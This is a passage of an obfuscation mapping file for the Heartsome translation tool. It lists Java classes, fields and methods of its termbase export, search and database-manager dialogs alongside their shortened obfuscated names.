access$12(net.heartsome.cat.database.ui.tb.dialog.ExportTbxDialog) -> k + org.eclipse.swt.widgets.Button access$13(net.heartsome.cat.database.ui.tb.dialog.ExportTbxDialog) -> l + org.eclipse.swt.widgets.Button access$14(net.heartsome.cat.database.ui.tb.dialog.ExportTbxDialog) -> m + java.util.List access$15(net.heartsome.cat.database.ui.tb.dialog.ExportTbxDialog) -> n + void access$16(net.heartsome.cat.database.ui.tb.dialog.ExportTbxDialog,net.heartsome.cat.database.bean.ExportFilterBean) -> a + net.heartsome.cat.database.ui.core.ExportFilterStoreConfiger access$17(net.heartsome.cat.database.ui.tb.dialog.ExportTbxDialog) -> o + org.eclipse.swt.widgets.Shell access$18(net.heartsome.cat.database.ui.tb.dialog.ExportTbxDialog) -> p + org.eclipse.swt.widgets.Text access$19(net.heartsome.cat.database.ui.tb.dialog.ExportTbxDialog) -> q +net.heartsome.cat.database.ui.tb.dialog.ExportTbxDialog$1 -> net.heartsome.cat.database.ui.tb.dialog.b: + net.heartsome.cat.database.ui.tb.dialog.ExportTbxDialog this$0 -> oW + org.eclipse.swt.graphics.Cursor val$cursor -> oX + void widgetDisposed(org.eclipse.swt.events.DisposeEvent) -> widgetDisposed +net.heartsome.cat.database.ui.tb.dialog.ExportTbxDialog$10 -> net.heartsome.cat.database.ui.tb.dialog.c: + net.heartsome.cat.database.ui.tb.dialog.ExportTbxDialog this$0 -> oW + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.database.ui.tb.dialog.ExportTbxDialog$11 -> net.heartsome.cat.database.ui.tb.dialog.d: + net.heartsome.cat.database.ui.tb.dialog.ExportTbxDialog this$0 -> oW + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.database.ui.tb.dialog.ExportTbxDialog$12 -> net.heartsome.cat.database.ui.tb.dialog.e: + net.heartsome.cat.database.ui.tb.dialog.ExportTbxDialog this$0 -> oW + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.database.ui.tb.dialog.ExportTbxDialog$13 -> net.heartsome.cat.database.ui.tb.dialog.f: + net.heartsome.cat.database.ui.tb.dialog.ExportTbxDialog this$0 -> oW + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.database.ui.tb.dialog.ExportTbxDialog$14 -> net.heartsome.cat.database.ui.tb.dialog.g: + net.heartsome.cat.database.ui.tb.dialog.ExportTbxDialog this$0 -> oW + java.lang.String getText(java.lang.Object) -> getText +net.heartsome.cat.database.ui.tb.dialog.ExportTbxDialog$15 -> net.heartsome.cat.database.ui.tb.dialog.h: + net.heartsome.cat.database.ui.tb.dialog.ExportTbxDialog this$0 -> oW + java.lang.String getText(java.lang.Object) -> getText +net.heartsome.cat.database.ui.tb.dialog.ExportTbxDialog$16 -> net.heartsome.cat.database.ui.tb.dialog.i: + net.heartsome.cat.database.ui.tb.dialog.ExportTbxDialog this$0 -> oW + java.lang.String getText(java.lang.Object) -> getText +net.heartsome.cat.database.ui.tb.dialog.ExportTbxDialog$17 -> net.heartsome.cat.database.ui.tb.dialog.j: + net.heartsome.cat.database.ui.tb.dialog.ExportTbxDialog this$0 -> oW + java.lang.String getText(java.lang.Object) -> getText +net.heartsome.cat.database.ui.tb.dialog.ExportTbxDialog$18 -> net.heartsome.cat.database.ui.tb.dialog.bg: + net.heartsome.cat.database.ui.tb.dialog.ExportTbxDialog this$0 -> oW + net.heartsome.cat.document.ExportAbstract val$exportor -> wn + org.eclipse.core.runtime.IStatus run(org.eclipse.core.runtime.IProgressMonitor) -> run + net.heartsome.cat.database.ui.tb.dialog.ExportTbxDialog access$0(net.heartsome.cat.database.ui.tb.dialog.ExportTbxDialog$18) -> a +net.heartsome.cat.database.ui.tb.dialog.ExportTbxDialog$18$1 -> net.heartsome.cat.database.ui.tb.dialog.k: + net.heartsome.cat.database.ui.tb.dialog.ExportTbxDialog$18 this$1 -> wr + java.lang.String val$result -> wy + void run() -> run +net.heartsome.cat.database.ui.tb.dialog.ExportTbxDialog$19 -> net.heartsome.cat.database.ui.tb.dialog.bi: + net.heartsome.cat.database.ui.tb.dialog.ExportTbxDialog this$0 -> oW + void running(org.eclipse.core.runtime.jobs.IJobChangeEvent) -> running + void done(org.eclipse.core.runtime.jobs.IJobChangeEvent) -> done +net.heartsome.cat.database.ui.tb.dialog.ExportTbxDialog$2 -> net.heartsome.cat.database.ui.tb.dialog.l: + net.heartsome.cat.database.ui.tb.dialog.ExportTbxDialog this$0 -> oW + java.lang.String val$helpUrl -> pb + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.database.ui.tb.dialog.ExportTbxDialog$3 -> net.heartsome.cat.database.ui.tb.dialog.m: + net.heartsome.cat.database.ui.tb.dialog.ExportTbxDialog this$0 -> oW + void selectionChanged(org.eclipse.jface.viewers.SelectionChangedEvent) -> selectionChanged +net.heartsome.cat.database.ui.tb.dialog.ExportTbxDialog$4 -> net.heartsome.cat.database.ui.tb.dialog.n: + net.heartsome.cat.database.ui.tb.dialog.ExportTbxDialog this$0 -> oW + void selectionChanged(org.eclipse.jface.viewers.SelectionChangedEvent) -> selectionChanged +net.heartsome.cat.database.ui.tb.dialog.ExportTbxDialog$5 -> net.heartsome.cat.database.ui.tb.dialog.o: + net.heartsome.cat.database.ui.tb.dialog.ExportTbxDialog this$0 -> oW + void selectionChanged(org.eclipse.jface.viewers.SelectionChangedEvent) -> selectionChanged +net.heartsome.cat.database.ui.tb.dialog.ExportTbxDialog$6 -> net.heartsome.cat.database.ui.tb.dialog.p: + net.heartsome.cat.database.ui.tb.dialog.ExportTbxDialog this$0 -> oW + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.database.ui.tb.dialog.ExportTbxDialog$7 -> net.heartsome.cat.database.ui.tb.dialog.q: + net.heartsome.cat.database.ui.tb.dialog.ExportTbxDialog this$0 -> oW + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.database.ui.tb.dialog.ExportTbxDialog$8 -> net.heartsome.cat.database.ui.tb.dialog.r: + net.heartsome.cat.database.ui.tb.dialog.ExportTbxDialog this$0 -> oW + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.database.ui.tb.dialog.ExportTbxDialog$9 -> net.heartsome.cat.database.ui.tb.dialog.s: + net.heartsome.cat.database.ui.tb.dialog.ExportTbxDialog this$0 -> oW + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.database.ui.tb.dialog.ExportTbxDialog$FilterLabelProvider -> net.heartsome.cat.database.ui.tb.dialog.t: + net.heartsome.cat.database.ui.tb.dialog.ExportTbxDialog this$0 -> oW + org.eclipse.swt.graphics.Image getImage(java.lang.Object) -> getImage + java.lang.String getText(java.lang.Object) -> getText +net.heartsome.cat.database.ui.tb.dialog.TBSearchCellRenderer -> net.heartsome.cat.database.ui.tb.dialog.u: + int leftMargin -> leftMargin + int rightMargin -> rightMargin + int topMargin -> topMargin + int bottomMargin -> bottomMargin + int textTopMargin -> pc + int textBottomMargin -> pd + int insideMargin -> pe + int treeIndent -> pf + org.eclipse.nebula.widgets.grid.internal.ToggleRenderer toggleRenderer -> pg + org.eclipse.nebula.widgets.grid.internal.BranchRenderer branchRenderer -> ph + org.eclipse.nebula.widgets.grid.internal.CheckBoxRenderer checkRenderer -> pi + org.eclipse.swt.graphics.TextLayout textLayout -> pj + java.lang.String strText -> pk + boolean blnIsCaseSensitive -> pl + boolean blnIsApplyRegular -> pm + org.eclipse.swt.graphics.TextStyle style -> pn + int styleColumn -> po + java.lang.String getStrText() -> dz + void setStrText(java.lang.String) -> cf + boolean isBtnIsCaseSensitive() -> dA + void setBlnIsCaseSensitive(boolean) -> m + int getStyleColumn() -> dB + void setStyleColumn(int) -> l + boolean isBlnIsApplyRegular() -> dC + void setBlnIsApplyRegular(boolean) -> n + void paint(org.eclipse.swt.graphics.GC,java.lang.Object) -> paint + int[] getBranches(org.eclipse.nebula.widgets.grid.GridItem) -> a + org.eclipse.swt.graphics.Point computeSize(org.eclipse.swt.graphics.GC,int,int,java.lang.Object) -> computeSize + boolean notify(int,org.eclipse.swt.graphics.Point,java.lang.Object) -> notify + boolean overCheck(org.eclipse.nebula.widgets.grid.GridItem,org.eclipse.swt.graphics.Point) -> a + int getToggleIndent(org.eclipse.nebula.widgets.grid.GridItem) -> b + boolean overToggle(org.eclipse.nebula.widgets.grid.GridItem,org.eclipse.swt.graphics.Point) -> b + void setTree(boolean) -> setTree + void setCheck(boolean) -> setCheck + org.eclipse.swt.graphics.Rectangle getTextBounds(org.eclipse.nebula.widgets.grid.GridItem,boolean) -> getTextBounds + boolean isCenteredCheckBoxOnly(org.eclipse.nebula.widgets.grid.GridItem) -> c + org.eclipse.swt.graphics.TextLayout access$0(net.heartsome.cat.database.ui.tb.dialog.TBSearchCellRenderer) -> a +net.heartsome.cat.database.ui.tb.dialog.TBSearchCellRenderer$1 -> net.heartsome.cat.database.ui.tb.dialog.v: + net.heartsome.cat.database.ui.tb.dialog.TBSearchCellRenderer this$0 -> pp + void widgetDisposed(org.eclipse.swt.events.DisposeEvent) -> widgetDisposed +net.heartsome.cat.database.ui.tb.dialog.TBSearchCellRenderer$2 -> net.heartsome.cat.database.ui.tb.dialog.w: + net.heartsome.cat.database.ui.tb.dialog.TBSearchCellRenderer this$0 -> pp + org.eclipse.swt.graphics.Font val$font -> pq + void widgetDisposed(org.eclipse.swt.events.DisposeEvent) -> widgetDisposed +net.heartsome.cat.database.ui.tb.dialog.TermBaseSearchDialog -> net.heartsome.cat.database.ui.tb.dialog.x: + org.slf4j.Logger LOGGER -> LOGGER + java.util.ArrayList lstLangs -> pr + java.util.List lstDatabase -> ps + java.lang.String strSrcLang -> eN + java.lang.String strTgtLang -> eO + java.lang.String strSearchText -> pt + org.eclipse.swt.widgets.Combo cmbSearch -> pu + org.eclipse.swt.widgets.Button btnSearch -> pv + org.eclipse.swt.widgets.Button btnIsCaseSensitive -> pw + org.eclipse.swt.widgets.Button btnApplyRegularExpression -> px + org.eclipse.swt.widgets.Button btnIsIgnoreMark -> py + org.eclipse.swt.widgets.Spinner spiMatchQuality -> pz + org.eclipse.swt.widgets.Combo cmbDatabase -> pA + org.eclipse.nebula.widgets.grid.Grid grid -> pB + org.eclipse.swt.widgets.Button btnSelectLang -> pC + org.eclipse.swt.widgets.Menu menu -> pD + org.eclipse.nebula.widgets.grid.GridColumn columnSrcLang -> pE + net.heartsome.cat.database.ui.tb.dialog.TBSearchCellRenderer srcCellRenderer -> pF + int HISTORY_SIZE -> rF + java.util.List lstSearchHistory -> rN + void configureShell(org.eclipse.swt.widgets.Shell) -> configureShell + org.eclipse.swt.widgets.Control createHelpControl(org.eclipse.swt.widgets.Composite) -> createHelpControl + org.eclipse.swt.widgets.Control createDialogArea(org.eclipse.swt.widgets.Composite) -> createDialogArea + void initDatabaseCombo() -> dD + void initLanguageMenu() -> dE + void initListener() -> initListener + void InsertGridTgtToEditor() -> jY + void search() -> dF + void createGridItem(net.heartsome.cat.common.bean.MetaData,java.util.IdentityHashMap) -> a + java.util.LinkedHashMap sortMap(java.util.LinkedHashMap) -> a + void createButtonsForButtonBar(org.eclipse.swt.widgets.Composite) -> createButtonsForButtonBar + java.lang.String cleanString(java.lang.String) -> cleanString + java.lang.String resetCleanString(java.lang.String) -> cc + org.eclipse.jface.dialogs.IDialogSettings getDialogSettings() -> getDialogSettings + void setEnabled() -> ec + void readDialogSettings() -> kP + boolean close() -> close + void writeDialogSettings() -> kQ + boolean okToUse(org.eclipse.swt.widgets.Control) -> c + void writeHistory(java.util.List,org.eclipse.jface.dialogs.IDialogSettings,java.lang.String) -> a + void updateHistory(org.eclipse.swt.widgets.Combo,java.util.List) -> a + void updateCombo(org.eclipse.swt.widgets.Combo,java.util.List) -> b + org.eclipse.nebula.widgets.grid.Grid access$0(net.heartsome.cat.database.ui.tb.dialog.TermBaseSearchDialog) -> a + org.eclipse.swt.widgets.Button access$1(net.heartsome.cat.database.ui.tb.dialog.TermBaseSearchDialog) -> b + org.eclipse.swt.widgets.Menu access$2(net.heartsome.cat.database.ui.tb.dialog.TermBaseSearchDialog) -> c + void access$3(net.heartsome.cat.database.ui.tb.dialog.TermBaseSearchDialog) -> d + void access$4(net.heartsome.cat.database.ui.tb.dialog.TermBaseSearchDialog) -> e +net.heartsome.cat.database.ui.tb.dialog.TermBaseSearchDialog$1 -> net.heartsome.cat.database.ui.tb.dialog.y: + net.heartsome.cat.database.ui.tb.dialog.TermBaseSearchDialog this$0 -> pG + org.eclipse.swt.graphics.Cursor val$cursor -> oX + void widgetDisposed(org.eclipse.swt.events.DisposeEvent) -> widgetDisposed +net.heartsome.cat.database.ui.tb.dialog.TermBaseSearchDialog$2 -> net.heartsome.cat.database.ui.tb.dialog.z: + net.heartsome.cat.database.ui.tb.dialog.TermBaseSearchDialog this$0 -> pG + java.lang.String val$helpUrl -> pb + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.database.ui.tb.dialog.TermBaseSearchDialog$3 -> net.heartsome.cat.database.ui.tb.dialog.aa: + net.heartsome.cat.database.ui.tb.dialog.TermBaseSearchDialog this$0 -> pG + org.eclipse.swt.widgets.MenuItem val$itemLang -> pH + java.lang.String val$lang -> pI + void handleEvent(org.eclipse.swt.widgets.Event) -> handleEvent +net.heartsome.cat.database.ui.tb.dialog.TermBaseSearchDialog$4 -> net.heartsome.cat.database.ui.tb.dialog.ab: + net.heartsome.cat.database.ui.tb.dialog.TermBaseSearchDialog this$0 -> pG + void handleEvent(org.eclipse.swt.widgets.Event) -> handleEvent +net.heartsome.cat.database.ui.tb.dialog.TermBaseSearchDialog$5 -> net.heartsome.cat.database.ui.tb.dialog.ac: + net.heartsome.cat.database.ui.tb.dialog.TermBaseSearchDialog this$0 -> pG + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected + void widgetDefaultSelected(org.eclipse.swt.events.SelectionEvent) -> widgetDefaultSelected +net.heartsome.cat.database.ui.tb.dialog.TermBaseSearchDialog$6 -> net.heartsome.cat.database.ui.tb.dialog.ad: + net.heartsome.cat.database.ui.tb.dialog.TermBaseSearchDialog this$0 -> pG + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected + void widgetDefaultSelected(org.eclipse.swt.events.SelectionEvent) -> widgetDefaultSelected +net.heartsome.cat.database.ui.tb.dialog.TermBaseSearchDialog$7 -> net.heartsome.cat.database.ui.tb.dialog.ae: + net.heartsome.cat.database.ui.tb.dialog.TermBaseSearchDialog this$0 -> pG + void keyPressed(org.eclipse.swt.events.KeyEvent) -> keyPressed + void keyReleased(org.eclipse.swt.events.KeyEvent) -> keyReleased +net.heartsome.cat.database.ui.tb.dialog.TermBaseSearchDialog$8 -> net.heartsome.cat.database.ui.tb.dialog.af: + net.heartsome.cat.database.ui.tb.dialog.TermBaseSearchDialog this$0 -> pG + void handleEvent(org.eclipse.swt.widgets.Event) -> handleEvent +net.heartsome.cat.database.ui.tb.dialog.TermBaseSearchDialog$9 -> net.heartsome.cat.database.ui.tb.dialog.bj: + net.heartsome.cat.database.ui.tb.dialog.TermBaseSearchDialog this$0 -> pG + int compare(java.util.Map$Entry,java.util.Map$Entry) -> compare + int compare(java.lang.Object,java.lang.Object) -> compare +net.heartsome.cat.database.ui.tb.dialog.TermDbManagerDialog -> net.heartsome.cat.database.ui.tb.dialog.ag: + int lastTreeWidth -> pJ + org.eclipse.swt.graphics.Point lastShellSize -> pK + org.eclipse.jface.viewers.TreeViewer treeViewer -> treeViewer + org.eclipse.swt.widgets.Text hostText -> pL + org.eclipse.swt.widgets.Text usernameText -> pM + org.eclipse.swt.widgets.Text passwordText -> pN + org.eclipse.swt.widgets.Text instanceText -> pO + org.eclipse.swt.widgets.Text portText -> pP + org.eclipse.swt.widgets.Button searchBtn -> pQ + org.eclipse.jface.viewers.TableViewer dbTableViewer -> pR + java.lang.String currDbType -> pS + java.lang.String lastSelectedServerId -> pT + net.heartsome.cat.common.bean.DatabaseModelBean currServer -> pU + java.util.Map treeInputMap -> pV + net.heartsome.cat.database.ui.core.DatabaseConfiger configer -> pW + java.util.Map dbMetaDataMap -> pX + org.eclipse.swt.widgets.Text locationText -> pY + org.eclipse.swt.widgets.Button borwserBtn -> pZ + java.util.List currServerdbList -> qa + org.eclipse.core.databinding.observable.list.WritableList currServerdbListInput -> qb + org.eclipse.swt.graphics.Image internalDbImg -> qc + org.eclipse.swt.graphics.Image mySqlImg -> qd + org.eclipse.swt.graphics.Image oracleImg -> qe + org.eclipse.swt.graphics.Image sqlServerImg -> qf + org.eclipse.swt.graphics.Image postgreImg -> qg + org.eclipse.swt.graphics.Image ipImg -> qh + org.eclipse.swt.graphics.Image sqliteImg -> KV + org.eclipse.swt.widgets.Menu treePopMenu -> qi + org.slf4j.Logger logger -> logger + java.util.List needUpdateToFile -> qj + int dialogType -> qk + int TYPE_DBMANAGE -> ql + int TYPE_DBSELECTED -> qm + java.util.Map hasSelected -> qn + void configureShell(org.eclipse.swt.widgets.Shell) -> configureShell + boolean isResizable() -> isResizable + org.eclipse.swt.widgets.Control createContents(org.eclipse.swt.widgets.Composite) -> createContents + org.eclipse.swt.widgets.Control createHelpControl(org.eclipse.swt.widgets.Composite) -> createHelpControl + void selectSaveItem() -> dG + net.heartsome.cat.common.bean.DatabaseModelBean findServerBean(java.lang.String,java.lang.String) -> y + org.eclipse.swt.widgets.Control createDialogArea(org.eclipse.swt.widgets.Composite) -> createDialogArea + void createButtonsForButtonBar(org.eclipse.swt.widgets.Composite) -> createButtonsForButtonBar + void setDialogUseFor(int) -> m + int getDialogUseFor() -> dH + org.eclipse.swt.widgets.Composite createPageContainer(org.eclipse.swt.widgets.Composite) -> createPageContainer + org.eclipse.swt.widgets.Control createTreeAreaContents(org.eclipse.swt.widgets.Composite) -> createTreeAreaContents + void initTreePopMenu() -> dI + void layoutTreeAreaControl(org.eclipse.swt.widgets.Control) -> layoutTreeAreaControl + org.eclipse.jface.viewers.TreeViewer createTreeViewer(org.eclipse.swt.widgets.Composite) -> createTreeViewer + void addListeners(org.eclipse.jface.viewers.TreeViewer) -> addListeners + net.heartsome.cat.database.SystemDBOperator getCurrSysDbOp() -> dJ + void updateTreeFont(org.eclipse.swt.graphics.Font) -> updateTreeFont + org.eclipse.jface.viewers.TreeViewer getTreeViewer() -> getTreeViewer + org.eclipse.jface.viewers.TableViewer getDbTableViewer() -> dK + java.util.List getNeedUpdateToFile() -> dL + org.eclipse.swt.widgets.Sash createSash(org.eclipse.swt.widgets.Composite,org.eclipse.swt.widgets.Control) -> createSash + int getLastRightWidth() -> getLastRightWidth + void setLastTreeWidth(int) -> n + org.eclipse.swt.graphics.Point getInitialSize() -> getInitialSize + void setShellSize(int,int) -> b + void initDataBindings() -> dM + void createColumn(org.eclipse.jface.viewers.TableViewer) -> a + org.eclipse.jface.viewers.TableViewerColumn createTableViewerColumn(org.eclipse.jface.viewers.TableViewer,java.lang.String,int,int) -> a + org.eclipse.core.runtime.IStatus validator() -> dN + net.heartsome.cat.common.bean.DatabaseModelBean configIsChanged(java.util.List,net.heartsome.cat.common.bean.DatabaseModelBean,net.heartsome.cat.common.bean.MetaData) -> a + void addServerWithExistCheck(net.heartsome.cat.common.bean.DatabaseModelBean,java.util.List) -> a + void updateServer(net.heartsome.cat.common.bean.DatabaseModelBean,java.util.List) -> b + void setLastSelectedServer(java.lang.String) -> cg + java.lang.String getLastSelectedServer() -> dO + java.lang.String getCurrDbType() -> dP + void setCurrDbType(java.lang.String) -> ch + net.heartsome.cat.common.bean.MetaData getCurrDbMetaData() -> dQ + void resetInputValue() -> resetInputValue + void initUI(boolean) -> o + java.util.List searchCurrServerDatabase(net.heartsome.cat.database.SystemDBOperator,net.heartsome.cat.common.bean.DatabaseModelBean) -> a + void executeSearch(net.heartsome.cat.database.SystemDBOperator) -> a + void createNewDatabase() -> dR + void executeSelectDatabase() -> dS + void okPressed() -> okPressed + boolean close() -> close + java.util.Map getHasSelectedDatabase() -> dT + org.eclipse.swt.graphics.Image access$0(net.heartsome.cat.database.ui.tb.dialog.TermDbManagerDialog) -> a + org.eclipse.swt.graphics.Image access$1(net.heartsome.cat.database.ui.tb.dialog.TermDbManagerDialog) -> b + org.eclipse.swt.graphics.Image access$2(net.heartsome.cat.database.ui.tb.dialog.TermDbManagerDialog) -> c + org.eclipse.swt.graphics.Image access$3(net.heartsome.cat.database.ui.tb.dialog.TermDbManagerDialog) -> d + org.eclipse.swt.graphics.Image access$4(net.heartsome.cat.database.ui.tb.dialog.TermDbManagerDialog) -> e + org.eclipse.swt.graphics.Image access$5(net.heartsome.cat.database.ui.tb.dialog.TermDbManagerDialog) -> f + org.eclipse.swt.graphics.Image access$6(net.heartsome.cat.database.ui.tb.dialog.TermDbManagerDialog) -> g + org.eclipse.swt.graphics.Point access$7(net.heartsome.cat.database.ui.tb.dialog.TermDbManagerDialog) -> h + void access$8(net.heartsome.cat.database.ui.tb.dialog.TermDbManagerDialog,org.eclipse.swt.graphics.Point) -> a + org.eclipse.swt.widgets.Text access$9(net.heartsome.cat.database.ui.tb.dialog.TermDbManagerDialog) -> i + org.eclipse.core.runtime.IStatus access$10(net.heartsome.cat.database.ui.tb.dialog.TermDbManagerDialog) -> j + net.heartsome.cat.database.SystemDBOperator access$11(net.heartsome.cat.database.ui.tb.dialog.TermDbManagerDialog) -> k + java.util.Map access$12(net.heartsome.cat.database.ui.tb.dialog.TermDbManagerDialog) -> l + java.lang.String access$13(net.heartsome.cat.database.ui.tb.dialog.TermDbManagerDialog) -> m + net.heartsome.cat.common.bean.DatabaseModelBean access$14(net.heartsome.cat.database.ui.tb.dialog.TermDbManagerDialog) -> n + void access$15(net.heartsome.cat.database.ui.tb.dialog.TermDbManagerDialog,net.heartsome.cat.common.bean.DatabaseModelBean,java.util.List) -> a + void access$16(net.heartsome.cat.database.ui.tb.dialog.TermDbManagerDialog) -> o + void access$17(net.heartsome.cat.database.ui.tb.dialog.TermDbManagerDialog,net.heartsome.cat.database.SystemDBOperator) -> a + void access$18(net.heartsome.cat.database.ui.tb.dialog.TermDbManagerDialog) -> p + org.slf4j.Logger access$19(net.heartsome.cat.database.ui.tb.dialog.TermDbManagerDialog) -> q + org.eclipse.core.databinding.observable.list.WritableList access$20(net.heartsome.cat.database.ui.tb.dialog.TermDbManagerDialog) -> r + java.lang.String access$21() -> gQ + net.heartsome.cat.database.ui.core.DatabaseConfiger access$22(net.heartsome.cat.database.ui.tb.dialog.TermDbManagerDialog) -> s + void access$23(net.heartsome.cat.database.ui.tb.dialog.TermDbManagerDialog,java.lang.String) -> a + void access$24(net.heartsome.cat.database.ui.tb.dialog.TermDbManagerDialog,boolean) -> a + void access$25(net.heartsome.cat.database.ui.tb.dialog.TermDbManagerDialog,java.lang.String) -> b + void access$26(net.heartsome.cat.database.ui.tb.dialog.TermDbManagerDialog) -> t + org.eclipse.jface.viewers.TreeViewer access$27(net.heartsome.cat.database.ui.tb.dialog.TermDbManagerDialog) -> u + org.eclipse.swt.widgets.Menu access$28(net.heartsome.cat.database.ui.tb.dialog.TermDbManagerDialog) -> v + void access$29(net.heartsome.cat.database.ui.tb.dialog.TermDbManagerDialog,int) -> a + void access$30(net.heartsome.cat.database.ui.tb.dialog.TermDbManagerDialog,int,int) -> a + java.util.List access$31(net.heartsome.cat.database.ui.tb.dialog.TermDbManagerDialog,net.heartsome.cat.database.SystemDBOperator,net.heartsome.cat.common.bean.DatabaseModelBean) -> a +net.heartsome.cat.database.ui.tb.dialog.TermDbManagerDialog$1 -> net.heartsome.cat.database.ui.tb.dialog.ah: + net.heartsome.cat.database.ui.tb.dialog.TermDbManagerDialog this$0 -> qo + void shellActivated(org.eclipse.swt.events.ShellEvent) -> shellActivated +net.heartsome.cat.database.ui.tb.dialog.TermDbManagerDialog$10 -> net.heartsome.cat.database.ui.tb.dialog.ai: + net.heartsome.cat.database.ui.tb.dialog.TermDbManagerDialog this$0 -> qo + void run() -> run +net.heartsome.cat.database.ui.tb.dialog.TermDbManagerDialog$11 -> net.heartsome.cat.database.ui.tb.dialog.aj: + net.heartsome.cat.database.ui.tb.dialog.TermDbManagerDialog this$0 -> qo + void selectionChanged(org.eclipse.jface.viewers.SelectionChangedEvent) -> selectionChanged +net.heartsome.cat.database.ui.tb.dialog.TermDbManagerDialog$12 -> net.heartsome.cat.database.ui.tb.dialog.ak: + net.heartsome.cat.database.ui.tb.dialog.TermDbManagerDialog this$0 -> qo + org.eclipse.jface.viewers.TreeViewer val$viewer -> qp + void widgetDefaultSelected(org.eclipse.swt.events.SelectionEvent) -> widgetDefaultSelected +net.heartsome.cat.database.ui.tb.dialog.TermDbManagerDialog$13 -> net.heartsome.cat.database.ui.tb.dialog.al: + net.heartsome.cat.database.ui.tb.dialog.TermDbManagerDialog this$0 -> qo + org.eclipse.jface.viewers.TreeViewer val$viewer -> qp + void menuDetected(org.eclipse.swt.events.MenuDetectEvent) -> menuDetected +net.heartsome.cat.database.ui.tb.dialog.TermDbManagerDialog$14 -> net.heartsome.cat.database.ui.tb.dialog.am: + net.heartsome.cat.database.ui.tb.dialog.TermDbManagerDialog this$0 -> qo + org.eclipse.swt.widgets.Sash val$sash -> qq + org.eclipse.swt.widgets.Control val$rightControl -> qr + org.eclipse.swt.widgets.Composite val$composite -> qs + void handleEvent(org.eclipse.swt.widgets.Event) -> handleEvent +net.heartsome.cat.database.ui.tb.dialog.TermDbManagerDialog$15 -> net.heartsome.cat.database.ui.tb.dialog.an: + net.heartsome.cat.database.ui.tb.dialog.TermDbManagerDialog this$0 -> qo + java.lang.String getText(java.lang.Object) -> getText +net.heartsome.cat.database.ui.tb.dialog.TermDbManagerDialog$16 -> net.heartsome.cat.database.ui.tb.dialog.ao: + net.heartsome.cat.database.ui.tb.dialog.TermDbManagerDialog this$0 -> qo + java.lang.String getText(java.lang.Object) -> getText +net.heartsome.cat.database.ui.tb.dialog.TermDbManagerDialog$17 -> net.heartsome.cat.database.ui.tb.dialog.ap: + net.heartsome.cat.database.ui.tb.dialog.TermDbManagerDialog this$0 -> qo + java.lang.String getText(java.lang.Object) -> getText +net.heartsome.cat.database.ui.tb.dialog.TermDbManagerDialog$18 -> net.heartsome.cat.database.ui.tb.dialog.aq: + net.heartsome.cat.database.ui.tb.dialog.TermDbManagerDialog this$0 -> qo + net.heartsome.cat.database.SystemDBOperator val$sysDbOp -> qt + void run() -> run +net.heartsome.cat.database.ui.tb.dialog.TermDbManagerDialog$19 -> net.heartsome.cat.database.ui.tb.dialog.ar: + net.heartsome.cat.database.ui.tb.dialog.TermDbManagerDialog this$0 -> qo + java.lang.String isValid(java.lang.String) -> isValid +net.heartsome.cat.database.ui.tb.dialog.TermDbManagerDialog$2 -> net.heartsome.cat.database.ui.tb.dialog.as: + net.heartsome.cat.database.ui.tb.dialog.TermDbManagerDialog this$0 -> qo + org.eclipse.swt.graphics.Cursor val$cursor -> oX + void widgetDisposed(org.eclipse.swt.events.DisposeEvent) -> widgetDisposed +net.heartsome.cat.database.ui.tb.dialog.TermDbManagerDialog$3 -> net.heartsome.cat.database.ui.tb.dialog.at: + net.heartsome.cat.database.ui.tb.dialog.TermDbManagerDialog this$0 -> qo + java.lang.String val$helpUrl -> pb + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.database.ui.tb.dialog.TermDbManagerDialog$4 -> net.heartsome.cat.database.ui.tb.dialog.au: + net.heartsome.cat.database.ui.tb.dialog.TermDbManagerDialog this$0 -> qo + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.database.ui.tb.dialog.TermDbManagerDialog$5 -> net.heartsome.cat.database.ui.tb.dialog.av: + net.heartsome.cat.database.ui.tb.dialog.TermDbManagerDialog this$0 -> qo + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected + net.heartsome.cat.database.ui.tb.dialog.TermDbManagerDialog access$0(net.heartsome.cat.database.ui.tb.dialog.TermDbManagerDialog$5) -> a +net.heartsome.cat.database.ui.tb.dialog.TermDbManagerDialog$5$1 -> net.heartsome.cat.database.ui.tb.dialog.aw: + net.heartsome.cat.database.ui.tb.dialog.TermDbManagerDialog$5 this$1 -> qu + void run() -> run +net.heartsome.cat.database.ui.tb.dialog.TermDbManagerDialog$6 -> net.heartsome.cat.database.ui.tb.dialog.ax: + net.heartsome.cat.database.ui.tb.dialog.TermDbManagerDialog this$0 -> qo + void doubleClick(org.eclipse.jface.viewers.DoubleClickEvent) -> doubleClick +net.heartsome.cat.database.ui.tb.dialog.TermDbManagerDialog$7 -> net.heartsome.cat.database.ui.tb.dialog.ay: + net.heartsome.cat.database.ui.tb.dialog.TermDbManagerDialog this$0 -> qo + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.database.ui.tb.dialog.TermDbManagerDialog$8 -> net.heartsome.cat.database.ui.tb.dialog.az: + net.heartsome.cat.database.ui.tb.dialog.TermDbManagerDialog this$0 -> qo + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected + net.heartsome.cat.database.ui.tb.dialog.TermDbManagerDialog access$0(net.heartsome.cat.database.ui.tb.dialog.TermDbManagerDialog$8) -> a +net.heartsome.cat.database.ui.tb.dialog.TermDbManagerDialog$8$1 -> net.heartsome.cat.database.ui.tb.dialog.ba: + net.heartsome.cat.database.ui.tb.dialog.TermDbManagerDialog$8 this$1 -> qv + void run() -> run 